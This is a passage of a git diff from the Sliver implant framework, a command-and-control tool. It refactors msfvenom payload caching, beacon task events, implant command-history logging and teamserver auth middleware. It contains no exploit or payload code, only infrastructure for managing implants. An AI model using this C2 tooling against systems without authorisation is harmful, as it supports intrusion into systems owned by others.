msfLog.Fatalf("Cannot write to sliver root dir %s", err) + } + } + return msfDir +} + +// GetMsfCache returns the cache of Metasploit modules and other info. +func GetMsfCache() *clientpb.MetasploitCompiler { + formats, ok := msfCache.Load("formats") + if !ok { + loadCache() + } + + formats, ok = msfCache.Load("formats") + archs, _ := msfCache.Load("archs") + payloads, _ := msfCache.Load("payloads") + encoders, _ := msfCache.Load("encoders") + + msf := &clientpb.MetasploitCompiler{ + Formats: formats.([]string), + Archs: archs.([]string), + Payloads: payloads.([]*clientpb.MetasploitModule), + Encoders: encoders.([]*clientpb.MetasploitModule), + } + + return msf +} + // Version - Return the version of MSFVenom func Version() (string, error) { stdout, err := consoleCmd([]string{"--version"}) @@ -260,3 +344,125 @@ func Arch(arch string) string { } return "x86" } + +func loadCache() { + msf := parseCache() + + if len(msf.Formats) == 0 { + return + } + + msfCache.Store("formats", msf.Formats) + msfCache.Store("archs", msf.Archs) + msfCache.Store("payloads", msf.Payloads) + msfCache.Store("encoders", msf.Encoders) +} + +// parseCache returns the MSFvenom information useful to Sliver. +func parseCache() *clientpb.MetasploitCompiler { + msf := &clientpb.MetasploitCompiler{} + + if _, err := exec.LookPath(venomBin); err != nil { + return msf + } + + ver, err := Version() + if err != nil { + return msf + } + + msf.Version = ver + + for _, file := range msfModuleTypes { + fileName := filepath.Join(MsfDir(), fmt.Sprintf("msf-%s.cache", file)) + + switch file { + case "formats": + if formats, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(formats), "----") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, fmt := range all { + msf.Formats = append(msf.Formats, strings.TrimSpace(fmt)) + } + } + + case "archs": + if archs, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(archs), "----") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, arch := range all { + msf.Archs = append(msf.Archs, strings.TrimSpace(arch)) + } + } + + case "payloads": + if payloads, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(payloads), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, info := range all { + payload := &clientpb.MetasploitModule{} + + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + payload.FullName = fullname + payload.Name = filepath.Base(fullname) + } + if len(items) > 1 { + payload.Description = strings.Join(items[1:], " ") + } + + msf.Payloads = append(msf.Payloads, payload) + } + } + + case "encoders": + if encoders, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(encoders), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, info := range all { + encoder := &clientpb.MetasploitModule{} + + // First split the name from everything else following. + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + if len(items) == 0 { + continue + } + + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + encoder.FullName = fullname + encoder.Name = filepath.Base(fullname) + } + + // Then try to find a level, and a description. + if len(items) > 1 { + encoder.Quality = strings.TrimSpace(items[1]) + encoder.Description = strings.Join(items[2:], " ") + } + + msf.Encoders = append(msf.Encoders, encoder) + } + } + } + } + + return msf +} + +func filterEmpty(list []string) []string { + var full []string + for _, item := range list { + trim := strings.TrimSpace(item) + if trim != "" { + full = append(full, trim) + } + } + + return full +} diff --git a/server/rpc/rpc-beacons.go b/server/rpc/rpc-beacons.go index b841592313..d99ea3242d 100644 --- a/server/rpc/rpc-beacons.go +++ b/server/rpc/rpc-beacons.go @@ -21,8 +21,12 @@ package rpc import ( "context" + "google.golang.org/protobuf/proto" + + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/db" "github.com/bishopfox/sliver/server/db/models" "github.com/bishopfox/sliver/server/log" @@ -129,5 +133,21 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas if err != nil { return nil, ErrInvalidBeaconTaskID } + + // Some client might be currently blocking for the canceled + // task result, so tell them about it so they can exit. + beacon, err := db.BeaconByID(task.BeaconID.String()) + if err != nil { + return task.ToProtobuf(false), ErrInvalidBeaconID + } + + eventData, _ := proto.Marshal(task.ToProtobuf(false)) + + core.EventBroker.Publish(core.Event{ + EventType: consts.BeaconTaskCanceledEvent, + Data: eventData, + Beacon: beacon, + }) + return task.ToProtobuf(false), nil } diff --git a/server/rpc/rpc-client-logs.go b/server/rpc/rpc-client-logs.go index 4f32302842..c5117358cd 100644 --- a/server/rpc/rpc-client-logs.go +++ b/server/rpc/rpc-client-logs.go @@ -20,6 +20,8 @@ package rpc import ( "compress/gzip" + "context" + "errors" "fmt" "io" insecureRand "math/rand" @@ -40,7 +42,7 @@ var ( ErrInvalidStreamName = status.Error(codes.InvalidArgument, "Invalid stream name") rpcClientLogs = log.NamedLogger("rpc", "client-logs") - streamNamePattern = regexp.MustCompile("^[a-z0-9_-]+$") + streamNamePattern = regexp.MustCompile("^[a-zA-Z0-9_-]+$") ) type LogStream struct { @@ -102,10 +104,15 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error { if err == io.EOF { break } + if err != nil { - rpcClientLogs.Errorf("Failed to receive client console log data: %s", err) + err = errors.New(status.Convert(err).Message()) // Unwrap the gRPC error + if !errors.Is(err, context.Canceled) { + rpcClientLogs.Errorf("Failed to receive client console log data: %s", err) + } return err } + streamName := fromClient.GetStream() if _, ok := streams[streamName]; !ok { streams[streamName], err = openNewLogStream(logsDir, streamName) @@ -114,7 +121,7 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error { return err } } - rpcClientLogs.Infof("Received %d bytes of client console log data for stream %s", len(fromClient.GetData()), streamName) + rpcClientLogs.Debugf("Received %d bytes of client console log data for stream %s", len(fromClient.GetData()), streamName) streams[streamName].Write(fromClient.GetData()) } return nil @@ -139,7 +146,7 @@ func openNewLogStream(logsDir string, stream string) (*LogStream, error) { } func randomSuffix(n int) string { - var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") + letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") buf := make([]rune, n) for i := range buf { buf[i] = letterRunes[insecureRand.Intn(len(letterRunes))] @@ -168,7 +175,7 @@ func gzipFile(filePath string) { return } defer inputFile.Close() - outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600) + outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) if err != nil { rpcClientLogs.Errorf("Failed to open gz client console log file: %s", err) return diff --git a/server/rpc/rpc-events.go b/server/rpc/rpc-events.go index e45f235d9d..5dcaa5382e 100644 --- a/server/rpc/rpc-events.go +++ b/server/rpc/rpc-events.go @@ -8,9 +8,7 @@ import ( "github.com/bishopfox/sliver/server/log" ) -var ( - rpcEventsLog = log.NamedLogger("rpc", "events") -) +var rpcEventsLog = log.NamedLogger("rpc", "events") // Events - Stream events to client func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer) error { @@ -18,9 +16,10 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer client := core.NewClient(commonName) core.Clients.Add(client) events := core.EventBroker.Subscribe() + rpcEventsLog.Debugf("Client %d connected", client.ID) defer func() { - rpcEventsLog.Infof("%d client disconnected", client.ID) + rpcEventsLog.Debugf("Client %d disconnected", client.ID) core.EventBroker.Unsubscribe(events) core.Clients.Remove(client.ID) }() @@ -41,6 +40,9 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer if event.Client != nil { pbEvent.Client = event.Client.ToProtobuf() } + if event.Beacon != nil { + pbEvent.Beacon = event.Beacon.ToProtobuf() + } if event.Session != nil { pbEvent.Session = event.Session.ToProtobuf() } diff --git a/server/rpc/rpc-generate.go b/server/rpc/rpc-generate.go index 94e17faa53..ce8677423c 100644 --- a/server/rpc/rpc-generate.go +++ b/server/rpc/rpc-generate.go @@ -47,9 +47,7 @@ import ( "google.golang.org/protobuf/proto" ) -var ( - rcpGenLog = log.NamedLogger("rpc", "generate") -) +var rcpGenLog = log.NamedLogger("rpc", "generate") // Generate - Generate a new implant func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*clientpb.Generate, error) { @@ -111,7 +109,6 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl // Regenerate - Regenerate a previously generated implant func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq) (*clientpb.Generate, error) { - build, err := db.ImplantBuildByName(req.ImplantName) if err != nil { rpcLog.Errorf("Failed to find implant %s: %s", req.ImplantName, err) @@ -167,7 +164,6 @@ func (rpc *Server) Canaries(ctx context.Context, _ *commonpb.Empty) (*clientpb.C // GenerateUniqueIP - Wrapper around generate.GenerateUniqueIP func (rpc *Server) GenerateUniqueIP(ctx context.Context, _ *commonpb.Empty) (*clientpb.UniqueWGIP, error) { uniqueIP, err := generate.GenerateUniqueIP() - if err != nil { rpcLog.Infof("Failed to generate unique wg peer ip: %s\n", err) return nil, err @@ -430,7 +426,6 @@ func (rpc *Server) Builders(ctx context.Context, _ *commonpb.Empty) (*clientpb.B // BuilderTrigger - Trigger a builder event func (rpc *Server) BuilderTrigger(ctx context.Context, req *clientpb.Event) (*commonpb.Empty, error) { - switch req.EventType { // Only allow certain event types to be triggered diff --git a/server/rpc/rpc-history.go b/server/rpc/rpc-history.go new file mode 100644 index 0000000000..aba3aea1b5 --- /dev/null +++ b/server/rpc/rpc-history.go @@ -0,0 +1,185 @@ +package rpc + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "sync" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/log" + "google.golang.org/grpc/status" +) + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +// GetImplantHistory returns a list of commands ran on an implant, by a given user or all of them. +func (rpc *Server) GetImplantHistory(ctx context.Context, req *clientpb.HistoryRequest) (*clientpb.History, error) { + commonName := rpc.getClientCommonName(ctx) + logsDir, err := getImplantHistoryDir() + if err != nil { + rpcClientLogs.Errorf("Failed to get implant log directory: %s", err) + return nil, err + } + + // Don't create if the history file does not exist. + streamName := fmt.Sprintf("%s_%s", req.ImplantName, req.ImplantID) + rpcClientLogs.Infof("Opening file %s", streamName) + logPath := filepath.Join(logsDir, streamName+".history") + if _, err := os.Stat(logPath); err != nil { + if os.IsNotExist(err) { + return &clientpb.History{}, nil + } + + return nil, err + } + + // Read the file and unmarshal in here. + var commands []*clientpb.ImplantCommand + + data, err := os.ReadFile(logPath) + if err != nil { + rpcClientLogs.Errorf("Failed to read implant history file: %s", err) + return nil, err + } + + err = json.Unmarshal(formatJSONList(data), &commands) + if err != nil { + rpcClientLogs.Error(err) + } + + history := &clientpb.History{} + + // Get only user commands if required to. + if req.UserOnly { + history.UserOnly = true + + for _, cmd := range commands { + if cmd.GetUser() == commonName { + history.Commands = append(history.Commands, cmd) + } + } + } else { + history.Commands = commands + } + + // And if requested for only a certain number of commands, cut the list. + if req.MaxLines > 0 && int(req.MaxLines) < len(history.Commands) { + oldest := len(history.Commands) - int(req.MaxLines) + history.Commands = history.Commands[oldest:] + } + + history.HistoryLen = int32(len(commands)) + + return history, nil +} + +// ImplantHistory is used by clients to log the command lines they execute on implants. +func (rpc *Server) ImplantHistory(stream rpcpb.SliverRPC_ImplantHistoryServer) error { + commonName := rpc.getClientCommonName(stream.Context()) + logsDir, err := getImplantHistoryDir() + if err != nil { + rpcClientLogs.Errorf("Failed to get implant log directory: %s", err) + return err + } + + streams := make(map[string]*LogStream) + defer func() { + for _, stream := range streams { + rpcClientLogs.Infof("Closing implant log file: %s", stream.logFile.Name()) + stream.logFile.Close() + } + }() + + for { + fromClient, err := stream.Recv() + if err == io.EOF { + break + } + if err != nil { + // gRPC errors are a pain to work with... + canceled := errors.New(context.Canceled.Error()) + + if !errors.As(errors.New(status.Convert(err).Message()), &canceled) { + rpcClientLogs.Errorf("Failed to receive implant history data: %s", err) + } + return err + } + + streamName := fmt.Sprintf("%s_%s", fromClient.ImplantName, fromClient.ImplantID) + + // Remove useless fields and write to file. + fromClient.User = commonName + fromClient.Request = nil + + data, err := json.Marshal(fromClient) + if err != nil { + return err + } + + data = append([]byte(",\n"), data...) + + if _, ok := streams[streamName]; !ok { + streams[streamName], err = openNewHistoryStream(logsDir, streamName) + if err != nil { + rpcClientLogs.Errorf("Failed to open implant history log file: %s", err) + return err + } + } + rpcClientLogs.Debugf("Received %d bytes of implant history data for %s", len(data), streamName) + streams[streamName].Write(data) + } + return nil +} + +func getImplantHistoryDir() (string, error) { + parentLogDir := filepath.Join(log.GetLogDir(), "implants") + if err := os.MkdirAll(parentLogDir, 0o700); err != nil { + rpcClientLogs.Warnf("Failed to create client console log directory: %s", err) + return "", err + } + return parentLogDir, nil +} + +func openNewHistoryStream(logsDir string, stream string) (*LogStream, error) { + if !streamNamePattern.MatchString(stream) { + return nil, ErrInvalidStreamName + } + stream = filepath.Base(stream) + logPath := filepath.Join(logsDir, filepath.Base(stream+".history")) + logFile, err := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) + if err != nil { + return nil, err + } + return &LogStream{stream: stream, parts: 0, logFile: logFile, lock: &sync.Mutex{}}, nil +} + +func formatJSONList(data []byte) []byte { + data = []byte(strings.TrimPrefix(string(data), ",\n")) + data = append(data, ']') + data = append([]byte("["), data...) + + return data +} diff --git a/server/rpc/rpc-msf.go b/server/rpc/rpc-msf.go index 368c726ab8..c86037f3a2 100644 --- a/server/rpc/rpc-msf.go +++ b/server/rpc/rpc-msf.go @@ -37,9 +37,7 @@ import ( "github.com/bishopfox/sliver/server/msf" ) -var ( - msfLog = log.NamedLogger("rpc", "msf") -) +var msfLog = log.NamedLogger("rpc", "msf") // Msf - Helper function to execute MSF payloads on the remote system func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) { @@ -207,6 +205,11 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c return MSFStage, nil } +// GetMetasploitCompiler - Get information about any Metasploit installation server-side. +func (rpc *Server) GetMetasploitCompiler(ctx context.Context, _ *commonpb.Empty) (*clientpb.MetasploitCompiler, error) { + return msf.GetMsfCache(), nil +} + // Utility functions func generateCallbackURI() string { currentHTTPC2Config := configs.GetHTTPC2Config() diff --git a/server/rpc/rpc-operators.go b/server/rpc/rpc-operators.go deleted file mode 100644 index 38ab232e89..0000000000 --- a/server/rpc/rpc-operators.go +++ /dev/null @@ -1,53 +0,0 @@ -package rpc - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" -) - -// GetOperators - Get a list of operators -func (s *Server) GetOperators(ctx context.Context, _ *commonpb.Empty) (*clientpb.Operators, error) { - operators := &clientpb.Operators{Operators: []*clientpb.Operator{}} - dbOperators, err := db.OperatorAll() - if err != nil { - return nil, ErrDatabaseFailure - } - for _, dbOperator := range dbOperators { - operators.Operators = append(operators.Operators, &clientpb.Operator{ - Name: dbOperator.Name, - Online: isOperatorOnline(dbOperator.Name), - }) - } - return operators, nil -} - -func isOperatorOnline(commonName string) bool { - for _, operator := range core.Clients.ActiveOperators() { - if commonName == operator { - return true - } - } - return false -} diff --git a/server/rpc/rpc-teamclient.go b/server/rpc/rpc-teamclient.go new file mode 100644 index 0000000000..9ac023e236 --- /dev/null +++ b/server/rpc/rpc-teamclient.go @@ -0,0 +1,73 @@ +package rpc + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "runtime" + + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/server/core" +) + +// GetVersion - Get the server version +func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) { + dirty := version.GitDirty != "" + semVer := version.SemanticVersion() + compiled, _ := version.Compiled() + return &clientpb.Version{ + Major: int32(semVer[0]), + Minor: int32(semVer[1]), + Patch: int32(semVer[2]), + Commit: version.GitCommit, + Dirty: dirty, + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// GetUsers returns the list of teamserver users and their status. +func (ts *Server) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) { + // Fetch users from the teamserver user database. + users, err := ts.team.Users() + + userspb := make([]*clientpb.User, len(users)) + for i, user := range users { + userspb[i] = &clientpb.User{ + Name: user.Name, + Online: isOperatorOnline(user.Name), + LastSeen: user.LastSeen.Unix(), + Clients: int32(user.Clients), + } + } + + return &clientpb.Users{Users: userspb}, err +} + +func isOperatorOnline(commonName string) bool { + for _, operator := range core.Clients.ActiveOperators() { + if commonName == operator { + return true + } + } + return false +} diff --git a/server/rpc/rpc.go b/server/rpc/rpc.go index f0668a6495..b693edff1f 100644 --- a/server/rpc/rpc.go +++ b/server/rpc/rpc.go @@ -21,27 +21,25 @@ package rpc import ( "context" "errors" - "runtime" - "strings" "time" - "github.com/bishopfox/sliver/client/version" - "github.com/bishopfox/sliver/protobuf/clientpb" + "google.golang.org/grpc/credentials" + "google.golang.org/grpc/peer" + "google.golang.org/protobuf/proto" + "google.golang.org/protobuf/reflect/protoreflect" + + "github.com/kballard/go-shellquote" + "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/db" "github.com/bishopfox/sliver/server/log" - "google.golang.org/grpc/credentials" - "google.golang.org/grpc/peer" - "google.golang.org/protobuf/proto" - "google.golang.org/protobuf/reflect/protoreflect" + "github.com/reeflective/team/server" ) -var ( - rpcLog = log.NamedLogger("rpc", "server") -) +var rpcLog = log.NamedLogger("rpc", "server") const ( minTimeout = time.Duration(30 * time.Second) @@ -49,6 +47,10 @@ const ( // Server - gRPC server type Server struct { + // Access all teamclient/teamserver base stuff. + // Users, credentials, server configs, loggers, etc. + team *server.Server + // Magical methods to break backwards compatibility // Here be dragons: https://github.com/grpc/grpc-go/issues/3794 rpcpb.UnimplementedSliverRPCServer @@ -75,26 +77,9 @@ type GenericResponse interface { } // NewServer - Create new server instance -func NewServer() *Server { +func NewServer(team *server.Server) *Server { core.StartEventAutomation() - return &Server{} -} - -// GetVersion - Get the server version -func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) { - dirty := version.GitDirty != "" - semVer := version.SemanticVersion() - compiled, _ := version.Compiled() - return &clientpb.Version{ - Major: int32(semVer[0]), - Minor: int32(semVer[1]), - Patch: int32(semVer[2]), - Commit: version.GitCommit, - Dirty: dirty, - CompiledAt: compiled.Unix(), - OS: runtime.GOOS, - Arch: runtime.GOARCH, - }, nil + return &Server{team: team} } // GenericHandler - Pass the request to the Sliver/Session @@ -168,9 +153,13 @@ func (rpc *Server) asyncGenericHandler(req GenericRequest, resp GenericResponse) rpcLog.Errorf("Database error: %s", err) return ErrDatabaseFailure } - parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".") - name := parts[len(parts)-1] - task.Description = name + // Save the command-line being ran as description instead, and preserve quoting. + // Currently this is not optimal, as it uses a UNIX-style quoter. I've found + // other packages that handle all operating systems, such as https://github.com/apparentlymart/go-shquot. + task.Description = shellquote.Join(request.GetCmdLine()...) + // parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".") + // name := parts[len(parts)-1] + err = db.Session().Save(task).Error if err != nil { rpcLog.Errorf("Database error: %s", err) diff --git a/server/transport/local.go b/server/transport/local.go deleted file mode 100644 index 3be3d679a3..0000000000 --- a/server/transport/local.go +++ /dev/null @@ -1,64 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "runtime/debug" - - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" - "google.golang.org/grpc" - "google.golang.org/grpc/test/bufconn" -) - -const bufSize = 2 * mb - -var ( - bufConnLog = log.NamedLogger("transport", "local") -) - -// LocalListener - Bind gRPC server to an in-memory listener, which is -// -// typically used for unit testing, but ... it should be fine -func LocalListener() (*grpc.Server, *bufconn.Listener, error) { - bufConnLog.Infof("Binding gRPC/bufconn to listener ...") - ln := bufconn.Listen(bufSize) - options := []grpc.ServerOption{ - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - options = append(options, initMiddleware(false)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - bufConnLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - bufConnLog.Fatalf("gRPC local listener error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil -} diff --git a/server/transport/middleware.go b/server/transport/middleware.go index db1d833b46..ae5227c08f 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -1,35 +1,30 @@ package transport /* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ import ( "context" - "crypto/sha256" - "encoding/hex" "encoding/json" - "sync" + "errors" + + "github.com/reeflective/team/server" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/log" grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" @@ -39,155 +34,165 @@ import ( "google.golang.org/grpc/credentials" "google.golang.org/grpc/peer" "google.golang.org/grpc/status" -) -var ( - serverConfig = configs.GetServerConfig() - middlewareLog = log.NamedLogger("transport", "middleware") + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/core" + "github.com/bishopfox/sliver/server/db" ) -type contextKey int +// bufferingOptions returns a list of server options with max send/receive +// message size, which value is that of the ServerMaxMessageSize variable (2GB). +func bufferingOptions() (options []grpc.ServerOption) { + options = append(options, + grpc.MaxRecvMsgSize(ServerMaxMessageSize), + grpc.MaxSendMsgSize(ServerMaxMessageSize), + ) -const ( - Transport contextKey = iota - Operator -) + return +} + +// logMiddlewareOptions is a set of logging middleware options +// preconfigured to perform the following tasks: +// - Log all connections/disconnections to/from the teamserver listener. +// - Log all raw client requests into a teamserver audit file (see server.AuditLog()). +func logMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts []grpc.StreamServerInterceptor + + cfg := s.GetConfig() + + // Audit-log all requests. Any failure to audit-log the requests + // of this server will themselves be logged to the root teamserver log. + auditLog, err := s.AuditLogger() + if err != nil { + return nil, err + } + + requestOpts = append(requestOpts, auditLogUnaryServerInterceptor(s, auditLog)) + + requestOpts = append(requestOpts, + grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) -// initMiddleware - Initialize middleware logger -func initMiddleware(remoteAuth bool) []grpc.ServerOption { - logrusEntry := log.NamedLogger("transport", "grpc") + streamOpts = append(streamOpts, + grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) + + // Logging interceptors + logrusEntry := s.NamedLogger("transport", "grpc") logrusOpts := []grpc_logrus.Option{ grpc_logrus.WithLevels(codeToLevel), } + grpc_logrus.ReplaceGrpcLogger(logrusEntry) - if remoteAuth { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(tokenAuthFunc), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(tokenAuthFunc), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } - } else { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(serverAuthFunc), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(serverAuthFunc), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } + + requestOpts = append(requestOpts, + grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCUnaryPayloads + }), + ) + + streamOpts = append(streamOpts, + grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCStreamPayloads + }), + ) + + return []grpc.ServerOption{ + grpc.ChainUnaryInterceptor(requestOpts...), + grpc.ChainStreamInterceptor(streamOpts...), + }, nil +} + +// tlsAuthMiddlewareOptions is a set of transport security options which will use +// the preconfigured teamserver TLS (credentials) configuration to authenticate +// incoming client connections. The authentication is Mutual TLS, used because +// all teamclients will connect with a known TLS credentials set. +func tlsAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var options []grpc.ServerOption + + tlsConfig, err := s.UsersTLSConfig() + if err != nil { + return nil, err } + creds := credentials.NewTLS(tlsConfig) + options = append(options, grpc.Creds(creds)) + + return options, nil } -var ( - tokenCache = sync.Map{} -) +// initAuthMiddleware - Initialize middleware logger. +func (ts *teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts 